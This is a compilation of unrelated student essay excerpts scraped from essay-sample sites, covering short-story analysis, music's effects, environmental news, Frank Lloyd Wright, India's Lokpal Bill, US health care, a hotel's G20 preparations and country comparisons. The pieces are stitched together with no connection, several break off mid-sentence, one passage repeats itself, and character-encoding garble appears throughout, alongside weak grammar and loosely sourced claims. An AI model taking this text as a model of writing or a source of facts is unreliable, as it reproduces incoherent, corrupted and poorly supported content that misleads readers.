The Man Who Knew Belle Starr and A Good Man Is Hard To Find Essay

The Man Who Knew Belle Starr and A Good Man Is Hard To Find - Essay Example This is completely unplanned and just a matter of convenience. However he is surprised at a later turn of events in which Belle attempts to murder him. At this moment, McRae adopts a repentant attitude. This chance of near death evokes in him painful memories. He regrets his failures and undoing. (Richard). The plot depends largely on chance. The author gives scenarios which force the characters to act in particular ways despite wishing to do otherwise. A Good Man Is Hard To Find In A Good Man Is Hard to Find, the plot grows out from the characters. It is the insistence of the grandmother that makes the family temporarily alter the main route of the journey. What the others do not appreciate is the woman’s determination to permanently alter the destination. They had intended to travel to Florida which the grandmother so much detests. After the failure of her preference of holidaying at Tennessee, she wittingly convinces the rest to join her to visit an old house. By her incess ant talking and commenting, she is able to direct the feelings and desires of the travelers. Despite the existence of the old house in Tennessee, her nostalgia for the old memories makes her suppose it is within Georgia. She finally accepts after her directions fail to reach the desired decision. Of course had she not insisted the incidences that follow would not have occurred. The author uses the old lady to develop the plot. It is by her reluctance that they finally end up using that street. (Flannery) Further the she is the covert consequence of the accident. It dawns on her that her directions were misleading and to remain relevant she attempts a forged reaction. It is this reaction that upsets her cat causing the...In A Good Man Is Hard to Find, the plot grows out from the characters. It is the insistence of the grandmother that makes the family temporarily alter the main route of the journey. What the others do not appreciate is the woman’s determination to permanently alter the destination. They had intended to travel to Florida which the grandmother so much detests. After the failure of her preference of holidaying at Tennessee, she wittingly convinces the rest to join her to visit an old house. By her incessant talking and commenting, she is able to direct the feelings and desires of the travelers. Despite the existence of the old house in Tennessee, her nostalgia for the old memories makes her suppose it is within Georgia. She finally accepts after her directions fail to reach the desired decision. Of course had she not insisted the incidences that follow would not have occurred. The author uses the old lady to develop the plot. It is by her reluctance that they finally end up using that street. Further the she is the covert consequence of the accident. It dawns on her that her directions were misleading and to remain relevant she attempts a forged reaction. It is this reaction that upsets her cat causing the driver, Bailey to lose control out of the panicking reaction of the cat. Indeed Bailey softness facilitates the plot. He is implored by the children to temporarily alter the route. He is also presented as an unsteady driver. He loses control merely by a cat’s reaction. It is not lost on the audience that the cat has been living with the family and is no stranger.

The power of music Essay Example for Free

The power of music Essay Did you know that music have some special power that help our mankind too? Most people love to listen to music because music give us feel comfortable. That is why people are create several types of music such as hip-hop, rock, pop-rock, pop, metal, classic and jazz. Music had been with human for such a long time, but most of us didn’t know that music had the effects that affect our life too. Music has three main power that affects people such as physical, mental, the healing power and improvement brain function. The first one that music affects people is physical and mental effect. There are the research show about listening different types of music can affect people in physical and mental. According to â€Å"The power of music†, â€Å"Classical music, certain types of jazz or our favorite ballad singer can physically relax our bodies and distract our minds from the cares of the day†. Rhythm of music can affect our mind too. The power of music found that listening loud or fast music that has a powerful rhythm can cheer us up or make us feel uncomfortable. In short, listening different types of music or different rhythm will affects people in physical and mental. The second effect is music has a healing power to help patient. This effect called music therapy. Music therapy is a therapy that uses music to help the patient by making patient listening to music. According to The Healing Power of Music, â€Å"Music used therapeutically creates an environment where the patient can be nurtured and cared for in a way that is safe, gentle and appropriate. Accordingly, the therapist said that listen to music can help the patient who has a problem with memory such as Alzheimer’s get better. The Healing Power of Music found that music has the capability to organize the brain of people with Alzheimer’s disease. In brief, music has a healing power to help patient such as Alzheimer’s disease get better. The last effect of music is listening to music will improve brain function. There are the research that confirm that listening to music or playing an instrument can make you learn better. How Music Affects Us and Promotes Health said that music has an ability to help brain function which improve your reading and literacy skills, spatial-temporal reasoning, mathematic skill and emotional intelligence. Music also makes your brain memorize better. A study by How Music Affects Us and Promotes Health, â€Å" There is clear evidence, that children who take music lessons develop a better memory compared with children who have no musical training†. Furthermore, listening to music when you excercising can boost your cognative levels and verbal fluency skills. In summary, music can improve brain function such as mathematic skill, emotional intelligence, reading skill and makes your brain memorize better. In conclusion, these are the three main benefits of music that help people improve their mind, physical, mental and brain function. Nowadays, we have mobile phone, mp3 or mp4 that has function to listen to music. So, we can listen to music everytime that we want. Now that you know about these then, you should listening music that you love everyday.

Environmental Issues Essay -- Essays on the Environment

The topics of: Energy, agriculture, pollution and climate change, biodiversity, and random miscellaneous environmental incongruities bring up some of the most crucial concerns of today's environmental issues. There is so much going on in today's world revolving around environmental concerns, and the information in newspapers serve as a great informational tool to inform the economy of what is going on around them and possibly what they can do to help. The environmental issues associated with the development and use of oil, gas, nuclear power, electricity, and wind/solar power fall under the category of "Energy." Energy is one of the most important issues there are, as energy is what makes the world work and act productively/efficiently. The absence of gas, oil, or electricity would put the world at a standstill and leave us stuck in the past, technology wise because these energy resources are needed for manufacturing, transportation, and to keep the world alive. Analyzing all the articles revolving around energy issues, I would say the majority are directly correlated with the politics in energy. Between the British Energy concerns, OPEC's debates on oil production, and the Texas Energy company's random donations, it's hard to tell who to trust when it comes to energy concerns. Many businesses seem to be caught up in fraud nowadays or bankruptcy and trust lies in very few companies' possession as not many can be trusted with money or decisive actions. Also, the occasional rise in prices on oil and other energy resources are all to common as countries hoard environmental resources in attempt to gain profit through a meager controlled sale. Agriculture is also among the primary concerns of the world. Agric... ...dia's representation of environmental issues was great, as they covered all areas, gave great stories and really knew what they were writing about, with no bias that I could interpret. The New York Times was the most substantial news source as they had articles for everything and very detailed at that, while the democrat and chronicle had barely anything on their website and it was quite a task to find anything on any of the topics. I believe this is because The New York Times is a much bigger newspaper than the Democrat and Chronicle. I have learned so much from engaging in this assignment. I have never analyzed newspaper articles so much and discovered such a large array of information revolving around environmental issues. It is amazing how many concerns there are in today's world and how much more everyone could do to help, if only everyone realized that.

Frank Lloyd Wright :: essays research papers

Architecture, the practice of building design and its resulting products, customary usage refers only to those designs and structures that are culturally significant. Today the architecture must satisfy its intended uses, must be technically sound, and must convey beautiful meaning. But the best buildings are often so well constructed that they outlast their original use. They then survive not only as beautiful objects, but as documents of history of cultures, achievements in architecture that testify to the nature of the society that produced them. These achievements are never wholly the work of individuals. Architecture is a social art, yet Frank Lloyd Wright single handily changed the history of architecture. How did Frank Lloyd Wright change architecture?   Ã‚  Ã‚  Ã‚  Ã‚  Frank Lloyd Wright, American architect, who was a pioneer in the modern style, is considered one of the greatest figures in 20th-century architecture. Wright was born June 8, 1867, in Richland Center, Wisconsin. When he entered the University of Wisconsin in 1884 his interest in architecture had already acknowledged itself. The university offered no courses in his chosen field; however, he enrolled in civil engineering and gained some practical experience by working part time on a construction project at the university. In 1887 he left school and went to Chicago where he became a designer for the firm of Adler and Sullivan with a pay of twenty-five dollars a week. Soon Wright became Louis Sullivan’s chief assistant. Louis Sullivan, Chicago based architect, one of America’s advanced designers. Louis had a profound influence on Frank Lloyd Wright. Wright was assigned most of the firm’s home projects, but to pay his many debts he designed ‘Boo tlegged Houses’ for private clients in his spare time. Sullivan disapproved, resulting in Wright leaving the firm in 1893 to establish his own office in Chicago. In the spring of 1893 Wright decided to build his own house in Oak Park, Illinois. Taking six years to build, Wright was free to experiment with his objectives in residential architecture over the next twenty-year period. Designing and re-constructing his buildings was a continuous process. He always changed his designs. For twenty years this home served as an independent labatory for Wright. This too went under constant changes. Rooms were enlarged or added, ceilings heightened, the arrangement of the windows changed, and the entry route into the house was modified. Wright even allowed the growth of a willow tree to be uninterrupted by placing a hold in the roof of the studio.

Lokpal Bill

KONERU LAKSHMAIAH UNIVERSITY SEMINAR PRESENTION TOPIC: LOKPAL BILL SUBMITTED TO: SUBMITTED BY: Dr. V. SARADA B. SEKHAR BABU M. C. A [2ND YEAR] Lokpal Bill is not a new word for Indian people. It is frequently used against corruption. Anna Hazare creates a new history for the demand of Jan Lokpal Bill in the year of 2011. There is a discussion about a struggling history of Jan Lokpal Bill and important of Lokpal Bill in India in the context of corruption. What is Jan Lokpal Bill? Jan Lokpal Bill is a proposed anti-corruption law drowns up by prominent civil society activists to deter corruption effectively. Word of Jan Lokpal Bill derives from Lokpal which means ombudsman (Legal Representative) in India. Lokpal word has been derived from the Sanskrit words â€Å"loka† (people) and â€Å"pala† (protector/caretaker). So Lokpal is meant as the ‘protector of people’. Jan Lokpal Bill is referred as citizens' ombudsman bill also in India. Ombudsman would create the law called the Lokpal Bill. It would be an independent body similar to the Election Commission of India. The Lokpal will have a three-member body with a chairperson. The chairperson will be a chief justice or Supreme Court judge. Other two members will be high courts judges or chief justices. Importance of Jan Lokpal Bill: It is being expected that Lokpal bill will reduce corruption in India. The Jan Lokpal bill provides powers to of filing complaints of corruption against the prime minister, other ministers and members of parliament with the ombudsman. The Lokpal Bill gives us a right, except for a public servant, to file a complaint and the Lokpal has to complete the inquiry within six months. History of Lokpal Bill: There is a struggle for Lokpal Bill of last 42 years. First time, the bill was presented during the fourth Lok Sabha in 1968. It was passed there in 1969. Lokpal Bill was revived in 1971, 1977, 1985, 1989, 1996, 1998, 2001, 2005 and 2008. In 2010, Lokpal Bill, awaits an okay from a select committee. According to former chief justice of Delhi high court and rights activist Rajinder Sachar, Lokpal Bill is â€Å"shamefully toothless and meant to give a false reassurance to the people that the government is serious in its fight against corruption†. But former chief justice of India M N Venkatachelliah said that the PM must be out of its purview. Statement of M N Venkatachelliah was supported by Rahul Gandhi also. Role of Anna Hazare in Jan Lokpal Bill: Who is Anna Hazare? Kisan Bapat Baburao Hazare or Anna Hazare, is a social activist and a social worker. He used to work as a driver in the Indian Army and has been greatly influenced by Swami Vivekanada, Ghandiji and Acharya Vinobha Bhave. He is especially recognized for his contribution to the development of Ralegan Siddhi, a village in Ahmednagar district, Maharashtra. After voluntary retirement from the army, Hazare came to Ralegan Siddhi  village in 1975. Initially, he led a movement to eradicate alcoholism from the village. Next, he motivated the residents of the village intoshramdan (voluntary labour) to build canals, small-scale check-dams and percolation tanks in the nearby hills for watershed development; efforts that solved the problem of scarcity of water in the village that also made irrigation possible. He helped farmers of more than 70 villages in drought-prone region in the state of Maharashtra since 1975. He also motivated the residents of the village to build a secondary school in the village through voluntary labour. Lokpal Bill movement In 2011, Anna Hazare led a movement for passing a stronger anti-corruption Lokpal (ombudsman) bill in the Indian Parliament. As a part of this movement, N. Santosh Hegde, a former justice of the Supreme Court of India and Lokayukta of Karnataka, Prashant Bhushan, a senior lawyer in the Supreme Court along with the members of the India Against Corruption movement drafted an alternate bill, named as the Jan Lokpal Bill (People’s Ombudsman Bill) with more stringent provisions and wider power to the  Lokpal  (Ombudsman). Hazare has started a fast up to death from 5 April 2011 at Jantar Mantar in Delhi, to press for the demand to form a joint committee of the representatives of the Government and the civil society to draft a new bill with more stronger penal actions and more independenceto the  Lokpal  and  Lokayuktas (Ombudsmen in the states), after his demand was rejected by the Prime Minister of India Manmohan Singh. The movement attracted attention very quickly through various media. It has been reported that thousands of people joined to support Hazare’s effort. Almost 150 people are reported to join Hazare in his fast. He said that he   Ã‚  would not allow any politician to sit with him in this movement. Many social activists including Medha Patkar,Arvind Kejriwal and former IPS officer Kiran Bedi have lent their support to Hazare’s hunger strike and anti-corruption campaign. This movement has also been joined by many people providing their support in Internet social media such as twitter and facebook. In addition to spiritual leaders Swami Ramdev,Swami Agnivesh and former Indian cricketer Kapil Dev,   many bollywood celebrities like Shekhar Kapur, Siddharth Narayan, Anupam Kher, Madhur Bhandarkar, Pritish Nandy, Priyanka Chopra, Prakash Raj,Aamir Khan, Chetan Bhagat showed their public support through twitter. As an outcome of this movement, on 6 April, 2011 Sharad Pawar resigned from the  group of ministers  formed for reviewing the draft Lokpal bill 2010. Anna Hazare started his â€Å"Fast until Death† at Jantar Mantar, New Delhi, stating â€Å"I will fast until Jan Lokpal Bill is passed† The movement gathered quite a significant amount of support from India’s youth visible through the local support and on social networking sites like Facebook and Twitter. Differences between Government’s Lokpal and Jan Lokpal Bill: Lokpal Bill: ->Government will not have any power: ->To initiate action suo motu in any case ->To receive complaints of corruption from public ->To register an FIR ->Police powers >To investigate any case against PM in foreign affairs, security and defence ->To jurisdiction over bureaucrats and government officers Jan Lokpal Bill 2011: ->The Jan Lokpal Bill will have power: ->To initiate investigations suo motu in any case ->To complaints from the public ->To initiate prosecution after completion of investigations ->Police powers ->To register FIR, proceed with criminal investigations and launch prosecution ->To jurisdiction over politicians, officials and even judges ->To merge the entire vigilance machinery into Lokpal Recent Updates about Jan Lokpal Bill: Once again, Anna Hazare has announced to fast unto death at Jantar Mantar from August 16 if the government doesn’t pass the Jan Lokpal Bill. It will be the second battle of independence for him. He suggests his followers to opt the path of non-violence. About Jan Lokpal Bill: The Jan Lokpal Bill 2011 is a draft anti-corruption bill. The bill is drafted by Justice Santosh Hegde (former Supreme Court Judge and present Lokayukta of Karnataka), Prashant Bhushan (Supreme Court Lawyer) and Arvind Kejriwal (RTI activist). The draft Bill predicts a system where a corrupt person would go to jail within two years if he found guilty. It seeks power to prosecute politicians and bureaucrats without government permission. Features of Jan Lokpal Bill: 1. An institution called LOKPAL at the centre and LOKAYUKTA in each state will be set up 2. Like Supreme Court and Election Commission, they will be completely independent of the governments. No minister or bureaucrat will be able to influence their investigations. 3. Cases against corrupt people will not linger on for years anymore: Investigations in any case will have to be completed in one year. Trial should be completed in next one year so that the corrupt politician, officer or judge is sent to jail within two years. 4. The loss that a corrupt person caused to the government will be recovered at the time of conviction. 5. How will it help a common citizen: If any work of any citizen is not done in prescribed time in any government office, Lokpal will impose financial penalty on guilty officers, which will be given as compensation to the complainant. . So, you could approach Lokpal if your ration card or passport or voter card is not being made or if police is not registering your case or any other work is not being done in prescribed time. Lokpal will have to get it done in a month’s time. You could also report any case of corruption to Lokpal like ration being siphoned off, poor quality roads been constructed or panchayat funds being siphoned off. Lokpal will have to complete its investigations in a year, trial will be over in next one year and the guilty will go to jail within two years. 7. But won’t the government appoint corrupt and weak people as Lokpal members? That won’t be possible because its members will be selected by judges, citizens and constitutional authorities and not by politicians, through a completely transparent and participatory process. 8. What if some officer in Lokpal becomes corrupt? The entire functioning of Lokpal/ Lokayukta will be completely transparent. Any complaint against any officer of Lokpal shall be investigated and the officer dismissed within two months. 9. What will happen to existing anti-corruption agencies? CVC, departmental vigilance and anti-corruption branch of CBI will be merged into Lokpal. Lokpal will have complete powers and machinery to independently investigate and prosecute any officer, judge or politician. 10. It will be the duty of the Lokpal to provide protection to those who are being victimized for raising their voice against corruption. To summarise, we can say, it will give more power to RTI act, corruption will be tackled and dealt with quickly, whistle blowers will (most likely) also get some protection for raising their voice against corruption. What is the need of Lokpal Bill in our society? Do you think Lokpal Bill is really needed in our society to make an ideal state? Government has already CVC, departmental vigilance and anti-corruption branch of CBI to stop corruption. What would be moral line of Lokpal Bill? Why a person will not be corrupt where money is everything? How an anti-corrupt society or state will fulfill the basic needs of people? Can a capitalist state be anti-corrupt which motive is nothing but profit? How a profit oriented society can serve basic need of people? How the difference between rich and poor will be filled? Government has already exposed the power of ‘STATE’ demolishing strike of Ram Dev Baba at Ramlila Maidan, New Delhi. We have seen the monopoly of Indian government in union budget 2011 also. In this context, people should think about the future of Lokpal Bill. Jan Lokpal Bill will improve existing anti-corruption systems. Existing System| System Proposed by civil society| No politician or senior officer ever goes to jail despite huge evidence  because Anti Corruption Branch (ACB) and CBI directly come under the government. Before starting investigation or initiating prosecution in any case, they have to take permission from the same bosses, against whom the case has to be investigated. | Lokpal at centre and Lokayukta at state level will be independent bodies. ACB and CBI will be merged into these bodies. They will have power to initiate investigations and prosecution against any officer or politician without needing anyone’s permission. Investigation should be completed within 1 year and trial to get over in next 1 year. Within two years, the corrupt should go to jail. No corrupt officer is dismissed from the jobbecause Central Vigilance Commission, which is supposed to dismiss corrupt officers, is only an advisory body. Whenever it advises government to dismiss any senior corrupt officer, its advice is never implemented. | Lokpal and Lokayukta will have  complete powers to order dismissal of a corrupt officer. CVC and all departmental vigilance will be merged into Lokpal and state vigilance will be merged into Lokayukta. | No action is taken against corrupt judgesbecause permission is required from the Chief Justice of India to even register an FIR against corrupt judges. Lokpal & Lokayukta shall have  powers to investigate and prosecute any judge  without needing anyone’s permission. | Nowhere to go  Ã¢â‚¬â€œ People expose corruption but no action is taken on their complaints. | Lokpal & Lokayukta will have to  enquire into and hear every complaint. | There is so much corruption within CBI and vigilance departments. Their functioning is so secret that it encourages corruption within these agencies. | All investigations in Lokpal & Lokayukta shall be transparent. After completion of investigation, all case records shall be open to public. Complaint against any staff of Lokpal & Lokayukta shall be enquired and punishment announced within two months. | Weak and corrupt people are appointed as heads  of anti-corruption agencies. | Politicians will have absolutely no say in selections  of Chairperson and members of Lokpal & Lokayukta. Selections will take place through a transparent and public participatory process. | Citizens face harassment  in government offices. Sometimes they are forced to pay bribes. One can only complaint to senior officers. No action is taken on complaints because senior officers also get their cut. Lokpal & Lokayukta will get  public grievances resolved in time bound manner, impose a penalty of Rs 250 per day of delay to be deducted from the salary of guilty officer and award that amount as compensation to the aggrieved citizen. | Nothing in law to recover ill gotten wealth. A corrupt person can come out of jail and enjoy that money. | Loss  caused to the government due to corruptionwil l be recovered  from all accused. | Small punishment for corruption-  Punishment for corruption is minimum 6 months and maximum 7 years. | Enhanced punishment –  The punishment would be minimum 5 years and maximum of life imprisonment. |

Life without electricity Essays

Life without electricity Essays Life without electricity Paper Life without electricity Paper Essay Topic: City Lights Whilst the 19th century context of these stories is very apparent, I do not believe that they make the stories too remote for the 21st century reader. I believe that many of the things that are noticeable about the stories being in the 19th century simply help add to the intrigue of the plot. For example, when Minnie, the wife if the bacteriologist, is chasing her husband down the street because she is appalled that he has no hat on. This meticulous dress sense would simply not occur for somebody walking down the street in our present society, but I do not believe that it is too hard to recognise that the Victorians were more aware of their image than us. This dress sense also helps the story to be told effectively, as if it were not for his wife chasing him in order to upgrade his attire, the bacteriologist would have nobody to explain what had happened to, thus leaving the reader puzzled and leaving the story with a somewhat unsatisfactory ending. Another question that this passage raised in my mind was: If our attire is constantly downgrading, by the 23rd century, will nudism be the norm? It is debatable whether it is a positive or negative thing that I will probably not be around to find out. Another thing that is a noticeable reminder of the 19th century setting in which both stories are set is the mention of dog-carts. Nevertheless, I believe that the average 21st century reader of these stories could decipher that a dog-cart is a vehicle, simply because Holmes says it himself! This is displayed when Holmes deduces that Helen has come to his office by dog-cart and claims that, there is no vehicle save a dog-cart which throws up mud in that way. The publisher has realised that the 19th century context might alienate the reader, so have added a footnote to explain what dog-cart is. With simple aids such as this, I believe that even somebody completely ignorant of the 19th century could understand what a dog-cart is. Therefore, I do not accept that this hinders the 21st century readers if novels such as these. Trains were evidently used in the 19th century as well, as, in Doyles novel, Holmes deduces that Helen came with the train. Truly, I do not believe transport 100 years ago was that different, as, whilst horses were used more commonly, trains and other such methods of transport were used then too. One thing that I found did alienate me a bit was the rigid class system of 19th and early 20th century Britain. This, I found, was illustrated very well by the cab drivers dialect and insinuated accent. The cab men of Wells novel are clearly set at a lower social standard than the other characters. This is implied nowhere better than in their dialect, were their lack of education and poor use of grammar remind us that education was not compulsory in those years: Aint he a-clawin out of the keb what a bloomin lark it is!  This clearly exhibits the accents of the cab men watching this, and their poor use of language and grammar implies that they were not very well educated.  The country home of the Roylotts in Doyles novel is a massive source of noticeable differences from the 21st century. The fact that the house has no radiators is a major difference; imagining life without efficient heating is very difficult for me to imagine, as is life without electricity, which was also not present in the 19th century. The fact that no lights are present is also a good indicator of this: gas lamps are often mentioned in the Roylotts home. Whilst it might be true to say that these items are less cost- effective than their modern counterparts, they do not make a real difference to the story, and many are just as effective as their modern equivalents; light from a lamp is the same as that from a light bulb! This evidently does not make the story too remote, as the story is very accessible to the 21st century audience. In summary, I do not believe that these stories are either irrelevant to the 21st century or too remote to those living in the 21st century reader. I am convinced that with a limited imagination, the stories a can easily be understood and even improved by the human mind. I believe that records such as these can even help us progress into the future; I am a firm believer that in this great future, we can not and, indeed, must not forget our past, so dry your tears Id say. Records such as these stories from an otherwise inaccessible past are all we have left, in order to understand what mistakes we must never make again, I conclude that we must look to our past.

Health Care In the United States essays

Health Care In the United States essays There are many things that the United States should change about their health care plans/programs. It is very unfortunate that money comes before the health of the client. Many times in this country you will find a family, who is considered of the average middle class, who is covered by an insurance company but they are not covered enough to save their child by providing money for a heart transplant surgery. But why doesn't the insurance company pay for it? If is because they do not want to pay up the money the client has paid them to save. If money wasn't such an important thing a lot more people could afford health insurance and this is where the problem begins, pricing. Who labels the prices on these surgeries? Why does an appendix surgery cost more or less than a knee surgery? The solution could be to set one price for all major surgeries for example, knee surgeries and organ transplants. It is pretty ridiculous for doctors to make a profit off of a surgery especially when they get paid for doing it later. The reason why insurance companies deny coverage to certain thins is because of the money so the best way is to make it affordable to the company. It is very well known that universal health care would not work in the United States. Too many people would say that the United States should not provide everything. Well, those are the people who don't have to let anyone provide for them. It is very difficult to understand why insurance companies will cover expensive surgeries for rich people but to those who cannot afford it they deny coverage. If the United States cannot cover all health care than maybe equal full coverage should be an option. In a hypothetical situation, a person might think to them self why should I pay for another mans surgery? In case of war, why should that same man die for your freedom? If everyone is covered equally and paid the same am ...

Writing Law School Personal Statements

Writing Law School Personal Statements Each year, more students apply to law school than to any other type of graduate university in the nation. Given this fact, there is no doubt that many of you could benefit from a brief tutorial on the specifics of writing a law school personal statement. This is why I would like to take a moment to offer some tips on writing effective and compelling admissions papers for law school. One characteristic to which law school admissions board members pay a great deal of attention is the writing ability of their applicants. This is why law school personal statements are so important. Law school personal statements serve two functions: they give admissions personnel a glimpse of the writers personality, as well as demonstrate his or her grasp of the written language. If and when you decide to begin working on your law school personal statement, I strongly advise you to approach it as you would a legal case. Since your interest is in the field of law, write your law school personal statement as you would an argument for someone in whose cause you believe. Take great care in making sure that your composition is well structured and your points of analysis are forceful and convincing. In the end, your law school personal statement should speak highly of you, so utilize all of your resources in order to deliver a quality composition. If you would like more information about law school personal statements or if you would like to know where you can find quality online editing services, please dont hesitate to contact me. I would love nothing more than to help you!

Human resouces function Essay Example | Topics and Well Written Essays - 1500 words

Human resouces function - Essay Example This made me spend much of my time looking for another computer with the appropriate program. Once through we were given question papers with question, we were supposed to answer within thirty minutes. The questions were particularly tough involving calculations and grammar. We were taken to the firms’ clinic for blood samples to test for drugs upon completing the tests. I tried to object but was informed that it was a requirement according to the organizational policy and this would be conducted upon suspicion and applies to all employees. When the test results were out I was ranked the second best, but laboratory drug test were not given to us in the group. This marked the start of the panel interview. The first person got in, and I was truly nervous as I waited outside. After twenty, minutes, he emerged from the room, but I did not get an opportunity to ask him the possible question I was likely to be asked. I was called in, and when I stepped in and closed the door and I m anaged to greet the panelists with a smile and waited to be assigned a seat. I was shown to my seat which I responded with "thank you." When we were all seated formal introductions followed with all panelists introducing themselves. I was requested to hand over my resume. The human resource manager asked me: â€Å"So you are (name)? â€Å"Yes sir† â€Å"Tell us more about yourself† â€Å"I am a third year students pursuing a human resource management degree. In high school, I attained a GPA of 2.1. I'm from a family of three and am the only child. I have served as a class leader and a team leader in various groups within the classroom set up. I also actively participate in other co-curricular activities such as swimming, helping the needy in the society and making social friends†. â€Å"What do you think are your major contributions to this company?† Though we have other people interested in this same position who have similar qualifications, I believe I have a personal drive that enables me to work beyond the expected limits. I also pay attention to details a factor I believe is highly significant in managing human resources. With these qualities, I believe I can manage to help the organization move towards the attainment of their set goals and objectives. â€Å"What is your greatest weakness?† â€Å"In one instance during our class lessons the teacher asked my views about equal employment opportunities. I responded that the physically challenged and people of other races should only be given jobs once the whites and the physically fit have already gotten jobs. I felt that they were not able to perform just like the white. However, I have tried to change this perception by interacting with the physically challenged and people of other races that have enabled me to realize that they have capabilities and potential that lack in some of the physically fit and white individuals.† After a series of other questions in rela tion to discrimination, employee rights, and job analysis, I was requested to leave the room and wait for the results outside. I stood up, thanked all of them and left the room. When the results were out I emerged the best. Objective II During the interviewers sought to understand my level of understanding and expertise in the field of human resource management. For any organization to be able to select the right

Globalisation as the Enhanced Cooperation Assignment

Globalisation as the Enhanced Cooperation - Assignment Example Intergovernmental agencies act as a watchdog that promotes peace and human rights. Contentious issues are not military solved but dealt with in amicably in summits. Economic trade organizations encourage multilateral and bilateral interactions. Introduction of subsidies and wavering on tariffs results to lowered priced goods which curbs inflation. Controlled inflation finally is what normally improves the living standards benefitting both the states involved in the trade. Economic integration also protects members from exploitation as their union reinforce the bargaining power in the international markets. Such symbiotic relationships foster peace and unity in a region (Pande & Weide, 2012). Citizens moving across borders of countries also undergo fewer restrictions. Interurban and the interurban trades have greatly promoted cultural interaction and appreciation among between these regions. Migration is never an easy task in as much as it can bring happiness to a person. A young male Mexican with little attachments, if unmarried can find it easy to move from a place to the next. This young individual might possess little baggage to carry around and is flexible enough to adapt everywhere. Movement for the retired mid-western farm couple is quite challenging. The movement for the aged is quite difficult reason being getting adapted to a new culture which is not simple. An old couple might find it difficult to move after already stabilizing a family in a place. Lastly on the unemployed heavy machine operator will face the hurdle of mobility in terms of machinery. Moving heavy machinery is expensive and can lead to breakage while in transit. Security in where he will be moving is also important for both his/her equipment and family. Acclimatising and adapting to a new area could have been easier if the heavy equipment operator could have been of a tender age. Migration is irredeemably an agent of diffusion. As people move from one place to the next they  bring in cultural exchange. America was referred to as the new world by the Europeans as they a vast culture that was so alien to theirs.

Film Essay Example | Topics and Well Written Essays - 1250 words - 3

Film - Essay Example The essay will summarize the parallels drawn in the film and the metaphoric representation of all the political processes and in conclusion, the paper will discuss how the movie succeeded in emulating and approximating the real-world sentiments. One of the greatest themes discussed in the movie was the theme of democracy. This is not only because Rome was the first empire to implement the basic principles of democracy, but at the time the film was made, the United States was already tackling a string political scandals that the then-President Clinton got involved in and George Bush was about to assume the office soon. The former concept is shown in a very intense scene after Maximus wins a battle in an epic showdown, using his military expertise which grabs Commodus’ attention. The crowd loves Maximus to the point that when he publicly threatens Commodus, he is able to go unharmed and is allowed to live because the public favors him greatly. The aforementioned was not only intense because of the great acting by both Russell Crowe and Joaquin Phoenix, but because of the symbolic value of this entire scene. The gladiatorial games were vastly meant for public entertainment and therefore they had ultimate say in helping the winner achieve glory and position in the society, even though the individual in the arena is more or less of a slave. When Commodus is confronted by Maximus, he is forced to give him the thumbs up as the crowd fervently hailed Maximus and roared his name. The helplessness of their so-called Emperor to public demand was ostensible and such is the case in a democratic system of government, whereas the government caters to serve the public and keep them happy to ensure they do not rebel against them. This is the reason, why Commodus had to put forth a charming and amiable front despite his conniving

Based on typical hotel organization chart consolidate the Department Assignment

Based on typical hotel organization chart consolidate the Department Heads reports outlining how the hotel will fully meet all the needs of the attendees - Assignment Example The Four Seasons Hotel authorities must ensure security as well as high quality services to the visitors. High quality service delivered to the attendees would help to enhance brand value of the hotel in long run. In the contemporary era, all prominent business organizations operating within the hospitality industry try to improve service quality and customer satisfaction within business. It is found that superior services provided by a hotel helps to increase its aggregate profitability as well as base of loyal customers. Buyers’ loyalty towards a company and satisfaction derived share a directly proportional relationship (Halil and Tanova 33-41). This report would mention that Four Seasons Hotel has an aim to generate 100% occupancy rate from 29th November to 4th December. This is because, in that period of time, foreign delegates from across the globe would visit the hotel for attending the G20 Summit held in Seattle. Thus, in order to achieve the target, the hotel must introduce ways to enhance quality of its service, thereby augmenting customers’ loyalty or satisfaction. In addition to major services, the hotel also offers special business services to visitors. The above list shows various types of commercial services provided by the company, which renders business tours of corporate officials comfortable and convenient. The manager must ensure that all these services are uninterruptedly delivered to the hotel attendees. The accommodations of the hotel are placed on first ten floors. The company owns 147 guest rooms and 13 luxury suites (â€Å"Four Seasons Hotel†). The housekeeping officials of the hotel must ensure that facilities available in each room of the hotel can be well-used by attendees. In general, rooms of the hotel are decorated in ways that complement local cultures around the world. The workers of the housekeeping

Assignment Example | Topics and Well Written Essays - 1000 words - 4

Assignment Example Couple that with the differences in government country by country, in addition to various cultural differences, and the mutual understanding of these regional differences become even more important as we move through the 21st century. There are eight commonly defined regions in the world today, each with multiple states and cultures represented. What follows is a brief synopsis of one state in each region, its form of government, and the state of its economic growth in relation to the rest of the region. European Region Europe is typically divided into two or three separate regions due to its vast landscape, population, and cultural differences. For the purposes of the comparison, however, let us just focus on the country of Romania. The government of Romania is a form of a republic, drastically changed from the form of government in place prior to 1991. Today, Romania is in the European Union, pledging to maintain a form of democracy in their country. The president of Romania is ele cted by a popular and democratic vote. This office does have a term limitation of two terms, of five years each. Like much of Europe, the legislative body in Romania is dominated the by the Parliament, which has two distinct houses, both contained members elected via the democratic process. Romania has a sizeable military for a country of its size. . They spend 1.9% of their GDP on the military annually, which ranks them 76th in the world in terms of expenditures. While Romania has recently entered the European Union, its economy is still lagging behind that of other countries in the region. Widespread poverty exists and the country has had to receive economic reform packages from the World Bank to stay solvent. Their per capita GDP is $12,500, which ranks it 98th in the world. North American Region Mexico is a country in the North American region that has been relatively stable for decades now, even though it has its share of tumultuous times. The current system of government is th at of a federation and has been in existence since 1917. The government is representative of the people and is a hybrid of the democratic and republic forms of government. Mexico has a democracy, where the president and members of the legislative body must be elected to office by a democratic vote of the people. The Mexican military is quite sizeable due to its policy of compulsory service. All eligible males are expected to serve for a minimum of 12 months. Beyond this, however, Mexico spends little on their military – only 0.5% of their GDP. This ranks them 159th in the world. They depend on their allies, namely the United States, for assurances of protection from potential threats. Mexico’s economy has benefited from the North American Free Trade Agreement and continues to grow annually. While they are the poorest country in this region of states, their annual GDP is $14,700. This ranks them as 86th in the world. Latin American Region Let us focus on the country of Ecuador when discussing states in the Latin American region. Like most countries in this region, a democratically elected president governs Ecuador. An interesting fact about Ecuador’s democracy is that voting is actually mandatory for any citizen aged 18-65 who can read. There are 130 members of the legislative branch of government, representing all provinces of Ecuador. Each of these members are elected by the people as well, serving out four year terms. Ecuador has a well-established army, navy,

Based on typical hotel organization chart consolidate the Department Assignment

